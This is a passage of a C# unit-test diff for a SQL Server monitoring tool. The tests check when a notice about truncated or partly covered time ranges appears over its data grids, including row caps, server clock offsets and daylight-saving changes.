+        var (visible, text, oldest, rows, probed) = await CappedBlockingBannerAsync(relation, end.AddDays(-1), end);
+
+        Assert.Equal(cap, rows);
+        Assert.False(probed);
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+    }
+
+    /// <summary>A range of an hour, no longer than the probe's 90-minute slack, whose grid still fills its cap: the notice names the
+    /// oldest row with no slack (it is later than the range's start), and no probe runs.</summary>
+    [Theory]
+    [MemberData(nameof(BlockingRelations))]
+    public async Task BlockingGrids_AOneHourRange_WhoseGridHitsItsCap_ShowsTheNoticeAtItsOldestRow_WithNoSlack(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var cap = GridCapOf(relation);
+        await SeedLogRunsAsync(LocalDataService.QueryWindowRelationCollector(relation)!, end.AddDays(-30), end, 60);
+        await SeedManyAsync(relation, end.AddMinutes(-50), end.AddMinutes(-1), 10);
+
+        var (visible, text, oldest, rows, probed) = await CappedBlockingBannerAsync(relation, end.AddHours(-1), end);
+
+        Assert.Equal(cap, rows);
+        Assert.False(probed);
+        Assert.True(oldest > end.AddHours(-1));
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+    }
+
+    /// <summary>A page under its cap holds everything the store has in the range: the coverage notice stands, and a range the
+    /// collector covered (it ran for 30 days) shows none.</summary>
+    [Theory]
+    [MemberData(nameof(BlockingRelations))]
+    public async Task BlockingGrids_AReadUnderItsCap_KeepsTheCoverageNotice(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync(LocalDataService.QueryWindowRelationCollector(relation)!, end.AddDays(-30), end, 60);
+        await SeedManyAsync(relation, end.AddHours(-5), end.AddHours(-1), 600);
+
+        var (visible, text, _, rows, probed) = await CappedBlockingBannerAsync(relation, end.AddDays(-7), end);
+
+        Assert.InRange(rows, 1, GridCapOf(relation) - 1);
+        Assert.True(probed);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>The grid also lists the always-on DMV blocking snapshots, so with XE collection off (no blocked process threshold)
+    /// a range that starts before the DMV collector's first run names where the DMV collector's coverage starts.</summary>
+    [Fact]
+    public async Task BlockedProcessReports_XeCollectionOff_ARangeStartingBeforeTheDmvCollector_NamesTheDmvCoverage()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var started = end.AddDays(-2);
+        await SeedLogRunsAsync("dmv_blocking_snapshot", started, end, 60);
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.BlockedProcessReports, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(Since(started), text);
+    }
+
+    /// <summary>XE collection off, and a range the DMV collector covered from before its start: nothing is missing, no notice.</summary>
+    [Fact]
+    public async Task BlockedProcessReports_XeCollectionOff_ARangeTheDmvCollectorCovers_ShowsNoNotice()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("dmv_blocking_snapshot", end.AddDays(-30), end, 60);
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.BlockedProcessReports, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// A full read can merge to FEWER rows than its cap. The DMV read fetches the cap plus the XE rows in hand, and the merge keeps
+    /// one DMV row per blocked/blocking pair per minute, so 200 snapshots of one pair taken every 10 seconds merge to about 34
+    /// rows while the DMV read stopped at its LIMIT and left older snapshots out. The merged count (under the cap) cannot show
+    /// it, so the notice is worded from the oldest snapshot the DMV read returned, over a range the collector covers.
+    /// </summary>
+    [Fact]
+    public async Task BlockedProcessReports_ADmvReadThatFillsItsCap_MergingToFewerRows_NamesItsOldestSnapshot()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var cap = LocalDataService.BlockedProcessReportGridCap;
+        await SeedLogRunsAsync("dmv_blocking_snapshot", end.AddDays(-30), end, 60);
+        var last = end.AddMinutes(-5);
+        var first = last.AddSeconds(-10 * (cap - 1));
+        await SeedManyAsync(QueryWindowRelation.DmvBlockingSnapshots, first, last, 10);
+
+        var (visible, text, _, rows, probed) = await CappedBlockingBannerAsync(QueryWindowRelation.BlockedProcessReports, end.AddDays(-7), end);
+
+        Assert.InRange(rows, 1, cap - 1);
+        Assert.False(probed);
+        Assert.True(visible);
+        Assert.Equal(Since(first), text);
+    }
+
+    private static DateTime NowUtcSeconds()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Ticks - now.Ticks % TimeSpan.TicksPerSecond, DateTimeKind.Unspecified);
+    }
+
+    /// <summary>
+    /// One Default Trace row as the collector stores it: <c>event_time</c> is the monitored SERVER's wall clock
+    /// (<paramref name="serverLocal"/>) and <c>collection_time</c> the UTC time of the run that stored it (#4989). The event
+    /// is a 'Server Memory Change', one the grid's significance gate keeps, so a test can hold the probe's answer against the
+    /// rows the grid shows.
+    /// </summary>
+    private async Task SeedDefaultTraceRowAsync(DateTime serverLocal, DateTime collectedAtUtc)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO default_trace_events
+    (default_trace_event_id, collection_time, server_id, server_name, event_time, event_name,
+     database_name, duration_us, integer_data, severity, error_number, text_data)
+VALUES ({_nextId++}, {Literal(collectedAtUtc)}, {ServerId}, '{ServerName}', {Literal(serverLocal)}, 'Server Memory Change',
+        NULL, NULL, NULL, NULL, NULL, 'x')";
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// A server's first run (T0, <paramref name="firstRunUtc"/>) on a server whose clock is <paramref name="clock"/>: it
+    /// stores the history the server already holds, each row stamped with the run's UTC <c>collection_time</c> and an
+    /// <c>event_time</c> that is the server's WALL CLOCK at the event (<paramref name="historyEventsUtc"/>, run through the
+    /// clock). The collector's runs are then logged hourly to <paramref name="end"/>, and the newest run stores an event as
+    /// it happens.
+    /// </summary>
+    private async Task SeedDefaultTraceFirstRunAsync(ServerClock clock, DateTime firstRunUtc, DateTime end, params DateTime[] historyEventsUtc)
+    {
+        foreach (var eventUtc in historyEventsUtc)
+        {
+            await SeedDefaultTraceRowAsync(clock.ToServerLocal(eventUtc), firstRunUtc);
+        }
+
+        await SeedDefaultTraceRowAsync(clock.ToServerLocal(end.AddHours(-1)), end.AddHours(-1));
+        await SeedLogRunsAsync(LocalDataService.QueryWindowRelationCollector(QueryWindowRelation.DefaultTraceEvents)!, firstRunUtc, end, 60);
+    }
+
+    /// <summary>
+    /// #4989: the Default Trace's <c>event_time</c> is the server's wall clock, so the probe converts it through the server's
+    /// clock as the grid does. On a server 5 hours behind UTC the first run (T0) stores history whose oldest event (H) is
+    /// inside the range (S &lt; H &lt; T0), and the banner names H in UTC: not H less 5 hours, the stored wall clock read as
+    /// if it were UTC, and not T0. RED before the fix: the probe compared the wall clock with the UTC window as it was and
+    /// worded the banner at H shifted by 5 hours.
+    /// </summary>
+    [Fact]
+    public async Task DefaultTrace_ServerBehindUtc_HistoryBeforeTheFirstRun_NamesTheOldestEventInUtc()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var clock = ServerClock.FixedOffset(-300);
+        var end = DateTime.UtcNow;
+        var firstRun = end.AddDays(-2);
+        var oldest = end.AddDays(-4);
+        await SeedDefaultTraceFirstRunAsync(clock, firstRun, end, oldest, end.AddDays(-3));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.DefaultTraceEvents, end.AddDays(-7), end, clock);
+
+        Assert.True(visible);
+        Assert.Contains(Naive(oldest).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+        Assert.DoesNotContain(Naive(oldest.AddHours(-5)).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+        Assert.DoesNotContain(Naive(firstRun).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The oldest event (H) is before the range's start (S) once both are in UTC, so the grid's range holds the history from
+    /// S on and there is no banner. On a server 5 hours AHEAD of UTC its stored wall clock (H plus 5 hours) is after S, so a
+    /// probe that read the wall clock as UTC found no older row and said the data starts late. (A server behind UTC cannot
+    /// show this: its wall clock reads earlier than the instant, never later.) H sits half an hour before S, inside the
+    /// pre-filter's margin the probe converts row by row, and 72 hours before it, below the margin, where one query answers.
+    /// </summary>
+    [Theory]
+    [InlineData(0.5)]
+    [InlineData(72.0)]
+    public async Task DefaultTrace_ServerAheadOfUtc_OldestEventBeforeTheStartInUtc_ShowsNoNotice(double hoursBeforeStart)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var clock = ServerClock.FixedOffset(300);
+        var end = DateTime.UtcNow;
+        var start = end.AddDays(-7);
+        await SeedDefaultTraceFirstRunAsync(clock, end.AddDays(-2), end, start.AddHours(-hoursBeforeStart), end.AddDays(-3));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.DefaultTraceEvents, start, end, clock);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// The other direction on a server 5 hours behind UTC: the oldest event (H) is 3 hours after S in UTC, so the data does
+    /// start late and the banner names H, though its stored wall clock reads as 2 hours BEFORE S. A probe that read the wall
+    /// clock as UTC took that for an older row, and hid the banner.
+    /// </summary>
+    [Fact]
+    public async Task DefaultTrace_ServerBehindUtc_OldestEventJustAfterTheStartInUtc_ShowsTheNotice()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var clock = ServerClock.FixedOffset(-300);
+        var end = DateTime.UtcNow;
+        var start = end.AddDays(-7);
+        var oldest = start.AddHours(3);
+        await SeedDefaultTraceFirstRunAsync(clock, end.AddDays(-2), end, oldest);
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.DefaultTraceEvents, start, end, clock);
+
+        Assert.True(visible);
+        Assert.Contains(Naive(oldest).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The collector's runs in <c>v_collection_log</c> are UTC and take no part in the clock: on a server 5 hours behind UTC
+    /// whose first run found no history, the floor is that run as logged, not the run shifted by the clock.
+    /// </summary>
+    [Fact]
+    public async Task DefaultTrace_ServerBehindUtc_NoStoredHistory_NamesTheFirstRunInUtc()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var clock = ServerClock.FixedOffset(-300);
+        var end = DateTime.UtcNow;
+        var firstRun = end.AddDays(-2);
+        await SeedDefaultTraceFirstRunAsync(clock, firstRun, end);
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.DefaultTraceEvents, end.AddDays(-7), end, clock);
+
+        Assert.True(visible);
+        Assert.Contains(Naive(firstRun).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A probe that names no clock reads the one the grid falls back to, <see cref="ServerTimeHelper.ActiveServerClock"/>,
+    /// the Default Trace grid's own default (it passes none), so the banner and the rows it sits over agree.
+    /// </summary>
+    [Fact]
+    public async Task DefaultTrace_WithoutAClock_UsesTheActiveServerClockLikeTheGrid()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var clock = ServerClock.FixedOffset(-300);
+        var end = NowUtcSeconds();
+        var start = end.AddDays(-7);
+        var oldest = end.AddDays(-4);
+        await SeedDefaultTraceFirstRunAsync(clock, end.AddDays(-2), end, oldest);
+
+        var previous = ServerTimeHelper.ActiveServerClock;
+        try
+        {
+            ServerTimeHelper.ActiveServerClock = clock;
+            var service = Service();
+            var floor = await service.GetQueryWindowFloorAsync(QueryWindowRelation.DefaultTraceEvents, ServerId, start, end);
+            var gridRows = await service.GetDefaultTraceEventsAsync(ServerId, fromDate: start, toDate: end);
+
+            Assert.Equal(oldest, floor);
+            Assert.Equal(floor, gridRows.Min(r => r.EventTimeUtc));
+        }
+        finally
+        {
+            ServerTimeHelper.ActiveServerClock = previous;
+        }
+    }
+
+    /// <summary>
+    /// Across a daylight-saving change the probe takes each row's offset from the row's OWN date, as the grid does (#4766),
+    /// and the floor is exactly the oldest row the grid shows. US Eastern, 2026: the spring-forward is 8 March (02:00 EST to
+    /// 03:00 EDT, 07:00 UTC) and the fall-back is 1 November (02:00 EDT to 01:00 EST, 06:00 UTC). The range straddles the
+    /// change, and the oldest row is on each side of it in turn, so a probe that applied one offset to the whole range,
+    /// the one at its start or the one at its end, is an hour wrong on one of the four.
+    /// </summary>
+    [Theory]
+    [InlineData("2026-03-07 00:00:00", "2026-03-10 00:00:00", "2026-03-08 01:30:00", "2026-03-08 06:30:00")]
+    [InlineData("2026-03-07 00:00:00", "2026-03-10 00:00:00", "2026-03-08 03:30:00", "2026-03-08 07:30:00")]
+    [InlineData("2026-10-30 00:00:00", "2026-11-03 00:00:00", "2026-11-01 00:30:00", "2026-11-01 04:30:00")]
+    [InlineData("2026-10-30 00:00:00", "2026-11-03 00:00:00", "2026-11-01 02:30:00", "2026-11-01 07:30:00")]
+    public async Task DefaultTrace_RangeAcrossADaylightSavingChange_UsesTheOffsetOfTheRowsOwnDate(
+        string startUtc, string endUtc, string oldestServerLocal, string expectedFloorUtc)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var clock = ServerClock.Resolve("Eastern Standard Time", -300);
+        var start = DateTime.Parse(startUtc, CultureInfo.InvariantCulture);
+        var end = DateTime.Parse(endUtc, CultureInfo.InvariantCulture);
+        var oldest = DateTime.Parse(oldestServerLocal, CultureInfo.InvariantCulture);
+        await SeedDefaultTraceRowAsync(oldest, end.AddHours(-1));
+        await SeedDefaultTraceRowAsync(oldest.AddHours(30), end.AddHours(-1));
+
+        var service = Service();
+        var floor = await service.GetQueryWindowFloorAsync(QueryWindowRelation.DefaultTraceEvents, ServerId, start, end, clock);
+        var gridRows = await service.GetDefaultTraceEventsAsync(ServerId, fromDate: start, toDate: end, serverClock: clock);
+
+        Assert.Equal(DateTime.Parse(expectedFloorUtc, CultureInfo.InvariantCulture), floor);
+        Assert.Equal(floor, gridRows.Min(r => r.EventTimeUtc));
+    }
+
+    /// <summary>
+    /// The system_health <c>event_time</c> is the XE <c>@timestamp</c>, UTC, so a server clock never shifts it: the same
+    /// history as the Default Trace case, on a server 5 hours behind UTC, names the oldest event as stored.
+    /// </summary>
+    [Fact]
+    public async Task SystemHealth_UtcEventTime_IsNotShiftedByTheServerClock()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var relation = QueryWindowRelation.SystemHealthEvents;
+        var end = DateTime.UtcNow;
+        var oldest = end.AddDays(-4);
+        await SeedFirstRunAsync(relation, end.AddDays(-2), end, oldest, end.AddDays(-3));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end, ServerClock.FixedOffset(-300));
+
+        Assert.True(visible);
+        Assert.Contains(Naive(oldest).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>Only the Default Trace holds the server's wall clock (#4989); every other relation's time column is UTC.</summary>
+    [Fact]
+    public void OnlyTheDefaultTrace_HoldsServerLocalTime()
+    {
+        foreach (var relation in Enum.GetValues<QueryWindowRelation>())
+        {
+            Assert.Equal(relation == QueryWindowRelation.DefaultTraceEvents, LocalDataService.QueryWindowRelationTimeIsServerLocal(relation));
+        }
+    }
+
+    /// <summary>
+    /// Each relation reads the view its grid reads, by the column that grid filters on (#4989: <c>event_time</c> for the
+    /// two event relations, <c>collection_time</c> or <c>capture_time</c> for the rest), and takes its coverage from
+    /// the collector whose runs the store logs under that name. The Collection Log is the run log, so it keeps the
+    /// row-only probe.
+    /// </summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.CollectionLog, "v_collection_log", null, "collection_time")]
+    [InlineData(QueryWindowRelation.SystemHealthEvents, "v_system_health_events", "system_health_events", "event_time")]
+    [InlineData(QueryWindowRelation.DefaultTraceEvents, "v_default_trace_events", "default_trace_events", "event_time")]
+    [InlineData(QueryWindowRelation.ServerConfig, "v_server_config", "server_config", "capture_time")]
+    [InlineData(QueryWindowRelation.DatabaseConfig, "v_database_config", "database_config", "capture_time")]
+    [InlineData(QueryWindowRelation.TraceFlags, "v_trace_flags", "trace_flags", "capture_time")]
+    [InlineData(QueryWindowRelation.LongQueryCompletions, "v_long_query_completions", "long_query_completions", "collection_time")]
+    [InlineData(QueryWindowRelation.JobHistory, "v_job_history", "job_history", "collection_time")]
+    [InlineData(QueryWindowRelation.BlockedProcessReports, "v_blocked_process_reports", "blocked_process_report", "event_time")]
+    [InlineData(QueryWindowRelation.Deadlocks, "v_deadlocks", "deadlocks", "deadlock_time")]
+    [InlineData(QueryWindowRelation.DmvBlockingSnapshots, "v_dmv_blocking_snapshots", "dmv_blocking_snapshot", "collection_time")]
+    public void Relations_NameTheViewCollectorAndTimeColumnTheirGridReads(
+        QueryWindowRelation relation, string view, string? collector, string timeColumn)
+    {
+        Assert.Equal(view, LocalDataService.QueryWindowRelationView(relation));
+        Assert.Equal(collector, LocalDataService.QueryWindowRelationCollector(relation));
+        Assert.Equal(timeColumn, LocalDataService.QueryWindowRelationTimeColumn(relation));
+    }
+
+    /// <summary>
+    /// The wiring: each surface has its banner TextBlock, and the one method that reads it refreshes the banner after
+    /// the rows are bound, through the shared helper and over the UTC window the read took. Every read path of these
+    /// surfaces goes through that method: the sub-tab switch and the toolbar's range change reach the System Events,
+    /// Config Changes and Long Queries loaders through <c>RefreshVisibleTabAsync</c>, and a loader's own Refresh button
+    /// calls the same refresh. Comments are stripped first, so a sentence that names the call cannot satisfy the pin. The
+    /// two grids that read a capped page, the Collection Log and Long Queries, are pinned by
+    /// <see cref="CappedSurfaces_RefreshTheirBanner_ThroughTheCapAwareStep_AfterTheRowsAreBound"/> instead (#4989).
+    /// </summary>
+    [Theory]
+    [InlineData("private async System.Threading.Tasks.Task LoadSchedulerIssuesAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "SchedulerIssuesWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadSevereErrorsAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "SevereErrorsWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadMemoryConditionsAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "MemoryConditionsWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadMemoryBrokerAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "MemoryBrokerWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadMemoryNodeOomAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "MemoryNodeOomWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadSignificantWaitsAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "SignificantWaitsWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadCpuTasksAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "CpuTasksWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadIoIssuesAsync(", "ServerTab.SystemEvents.cs", "SystemHealthEvents", "IoIssuesWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadDefaultTraceEventsAsync(", "ServerTab.SystemEvents.cs", "DefaultTraceEvents", "DefaultTraceWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadServerConfigChangesAsync(", "ServerTab.ConfigChanges.cs", "ServerConfig", "ServerConfigChangesWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadDatabaseConfigChangesAsync(", "ServerTab.ConfigChanges.cs", "DatabaseConfig", "DatabaseConfigChangesWindowTruncatedBanner")]
+    [InlineData("private async System.Threading.Tasks.Task LoadTraceFlagChangesAsync(", "ServerTab.ConfigChanges.cs", "TraceFlags", "TraceFlagChangesWindowTruncatedBanner")]
+    public void EverySurface_HasABanner_RefreshedAfterTheRowsAreBound(string signature, string file, string relation, string banner)
+    {
+        var xaml = File.ReadAllText(ControlsFile("ServerTab.xaml"));
+        Assert.Contains($"x:Name=\"{banner}\"", xaml, StringComparison.Ordinal);
+
+        var code = StripComments(File.ReadAllText(ControlsFile(file)).Replace("\r\n", "\n"));
+        var start = code.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"{signature} is not in {file}");
+        var next = Regex.Match(code[(start + signature.Length)..], @"\n    (private|internal|public) ");
+        var body = next.Success ? code.Substring(start, signature.Length + next.Index) : code[start..];
+
+        var call = $"RefreshStoredWindowBannerAsync(QueryWindowRelation.{relation}, {banner}, hoursBack, fromDate, toDate)";
+        Assert.Contains(call, body, StringComparison.Ordinal);
+        var bind = body.IndexOf("UpdateData(", StringComparison.Ordinal);
+        Assert.True(bind >= 0 && bind < body.IndexOf(call, StringComparison.Ordinal),
+            $"{banner} must be refreshed after the grid's rows are bound");
+    }
+
+    /// <summary>
+    /// The one helper every group surface calls: it takes the window the grids' reads take
+    /// (<see cref="LocalDataService.GetQueriesTabWindowUtc"/>, the same <c>GetTimeRange</c> call) and hands it to the
+    /// shared banner step, which hides the banner when the probe throws instead of unwinding the refresh.
+    /// </summary>
+    [Fact]
+    public void TheBannerHelper_ProbesTheWindowTheGridsReadThroughTheSharedStep()
+    {
+        var code = StripComments(File.ReadAllText(ControlsFile("ServerTab.SystemEvents.cs")).Replace("\r\n", "\n"));
+        var start = code.IndexOf("RefreshStoredWindowBannerAsync(QueryWindowRelation relation,", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var body = code[start..Math.Min(code.Length, start + 600)];
+        Assert.Contains("LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate)", body, StringComparison.Ordinal);
+        Assert.Contains("RefreshWindowTruncatedBannerAsync(relation, banner, startUtc, endUtc)", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4989: the two grids that read a capped page, the Collection Log (the newest
+    /// <see cref="LocalDataService.CollectionLogGridCap"/> runs) and Long Queries (the newest
+    /// <see cref="LocalDataService.LongQueryGridCap"/> completions), refresh their notice through the cap-aware step
+    /// (<c>RefreshCappedGridBannerAsync</c>), not through the probe-only one: after the rows are bound, over the UTC window
+    /// the read took, handing the step the rows the grid shows, the constant that is the read's cap and the time each
+    /// row is capped on. Comments are stripped first. A grid that goes back to the probe-only step would again say
+    /// nothing about the rows its cap dropped, on a range the store covers.
+    /// </summary>
+    [Theory]
+    [InlineData("private async System.Threading.Tasks.Task RefreshCollectionHealthAsync(", "ServerTab.Refresh.cs", "CollectionLog", "CollectionLogWindowTruncatedBanner",
+        "collectionLogTask.Result, LocalDataService.CollectionLogGridCap, row => row.CollectionTime, ct: ct")]
+    [InlineData("private async Task RefreshLongQueriesAsync(", "ServerTab.LongQueries.cs", "LongQueryCompletions", "LongQueriesWindowTruncatedBanner",
+        "task.Result, LocalDataService.LongQueryGridCap, LongQueryRowTimeUtc")]
+    public void CappedSurfaces_RefreshTheirBanner_ThroughTheCapAwareStep_AfterTheRowsAreBound(
+        string signature, string file, string relation, string banner, string rowsCapAndTime)
+    {
+        var xaml = File.ReadAllText(ControlsFile("ServerTab.xaml"));
+        Assert.Contains($"x:Name=\"{banner}\"", xaml, StringComparison.Ordinal);
+
+        var code = StripComments(File.ReadAllText(ControlsFile(file)).Replace("\r\n", "\n"));
+        var start = code.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"{signature} is not in {file}");
+        var next = Regex.Match(code[(start + signature.Length)..], @"\n    (private|internal|public) ");
+        var body = next.Success ? code.Substring(start, signature.Length + next.Index) : code[start..];
+
+        var window = "var (windowStart, windowEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);";
+        var call = $"RefreshCappedGridBannerAsync(QueryWindowRelation.{relation}, {banner}, windowStart, windowEnd, {rowsCapAndTime})";
+        Assert.Contains(window, body, StringComparison.Ordinal);
+        Assert.Contains(call, body, StringComparison.Ordinal);
+        Assert.DoesNotContain("RefreshStoredWindowBannerAsync(", body, StringComparison.Ordinal);
+        var bind = body.IndexOf("UpdateData(", StringComparison.Ordinal);
+        Assert.True(bind >= 0 && bind < body.IndexOf(window, StringComparison.Ordinal) && body.IndexOf(window, StringComparison.Ordinal) < body.IndexOf(call, StringComparison.Ordinal),
+            $"{banner} must be refreshed after the grid's rows are bound, over the read's window");
+    }
+
+    /// <summary>
+    /// The read's <c>LIMIT</c> and the notice's cap are ONE value. The Long Queries read is written with
+    /// <see cref="LocalDataService.LongQueryGridCap"/> and not with a literal, so a read seeded past the cap comes back with
+    /// exactly that many rows, and the tab hands the same constant to the cap-aware step
+    /// (<see cref="CappedSurfaces_RefreshTheirBanner_ThroughTheCapAwareStep_AfterTheRowsAreBound"/>). The Collection Log's
+    /// default <c>maxRows</c> is <see cref="LocalDataService.CollectionLogGridCap"/> the same way. The MCP read that ranks by
+    /// duration, <c>GetSlowestLongQueryCompletionsAsync</c>, caps nothing by time and keeps its own limit.
+    /// </summary>
+    [Fact]
+    public async Task TheGridReads_LimitIsTheSameConstantTheBannerCaps()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLongQueriesEverySecondsAsync(end.AddMinutes(-LocalDataService.LongQueryGridCap - 40), end.AddMinutes(-2), 60);
+        await SeedLogRunsAsync("wait_stats", end.AddMinutes(-LocalDataService.CollectionLogGridCap - 40), end, 1);
+
+        var service = Service();
+        Assert.Equal(LocalDataService.LongQueryGridCap, (await service.GetRecentLongQueryCompletionsAsync(ServerId, fromDate: end.AddDays(-1), toDate: end)).Count);
+        Assert.Equal(LocalDataService.CollectionLogGridCap, (await service.GetRecentCollectionLogAsync(ServerId, fromDate: end.AddDays(-1), toDate: end)).Count);
+
+        var longQueries = File.ReadAllText(RepoFile("Lite", "Services", "LocalDataService.LongQueries.cs")).Replace("\r\n", "\n");
+        var grid = longQueries[longQueries.IndexOf("GetRecentLongQueryCompletionsAsync(int serverId", StringComparison.Ordinal)..longQueries.IndexOf("GetSlowestLongQueryCompletionsAsync(int serverId", StringComparison.Ordinal)];
+        Assert.Contains("LIMIT {LongQueryGridCap}", grid, StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"LIMIT \d", grid);
+    }
+
+    /// <summary>
+    /// A Long Queries read that fills its cap names its OLDEST returned completion, worded at its own time
+    /// (<c>event_time</c>, 90 seconds before the run that stored it stamped the row), even over a range the store covers:
+    /// the collector's runs reach 30 days back, so the probe alone shows nothing for a 7-day range, but the grid shows only
+    /// the newest 200 of the 3 days of completions it holds, the oldest about 16.6 hours back. The probing step is not asked.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_AReadThatFillsItsCap_NamesItsOldestRow_AlsoOverARangeTheStoreCovers()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("long_query_completions", end.AddDays(-30), end, 360);
+        await SeedLongQueriesEverySecondsAsync(end.AddDays(-3), end.AddMinutes(-2), 5 * 60);
+
+        Assert.False((await BannerForAsync(QueryWindowRelation.LongQueryCompletions, end.AddDays(-7), end)).Visible);
+
+        var (visible, text, oldest, rows, probed) = await CappedLongQueriesBannerAsync(end.AddDays(-7), end);
+
+        Assert.Equal(LocalDataService.LongQueryGridCap, rows);
+        Assert.InRange((end - oldest).TotalHours, 16, 17);
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.False(probed);
+    }
+
+    /// <summary>
+    /// The notice names the completion's own time, not the time its run stored it: the oldest row's
+    /// <c>collection_time</c> is 90 seconds later, and a notice worded from it would name a time after the oldest row shown.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_TheCappedNotice_IsWordedAtTheEventTime_NotTheTimeTheRunStoredIt()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLongQueriesEverySecondsAsync(end.AddHours(-30), end.AddMinutes(-2), 5 * 60);
+
+        var rows = await Service().GetRecentLongQueryCompletionsAsync(ServerId, fromDate: end.AddDays(-7), toDate: end);
+        var (visible, text, oldest, _, _) = await CappedLongQueriesBannerAsync(end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(Since(oldest), text);
+        Assert.Equal(oldest, rows.Min(row => row.EventTime));
+        Assert.NotEqual(Since(rows.Min(row => row.CollectionTime)), text);
+    }
+
+    /// <summary>
+    /// The row's time is its event time, and a completion with no event time falls back to the time its run was collected.
+    /// </summary>
+    [Fact]
+    public void LongQueryRowTimeUtc_IsTheEventTime_AndFallsBackToTheCollectionTime()
+    {
+        var collected = new DateTime(2026, 6, 3, 10, 2, 0);
+        var eventTime = new DateTime(2026, 6, 3, 10, 0, 30);
+
+        Assert.Equal(eventTime, ServerTab.LongQueryRowTimeUtc(new LongQueryCompletionRow { CollectionTime = collected, EventTime = eventTime }));
+        Assert.Equal(collected, ServerTab.LongQueryRowTimeUtc(new LongQueryCompletionRow { CollectionTime = collected, EventTime = null }));
+    }
+
+    /// <summary>
+    /// A read under its cap holds everything the store has in the range, so the coverage notice stands as before: a server
+    /// whose trace was added 48 hours ago says it shows since then, and the probing step is the one that words it.
+    /// </summary>
+    [Fact]
+    public async Task LongQueries_AReadUnderItsCap_KeepsTheCoverageNotice()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddHours(-48);
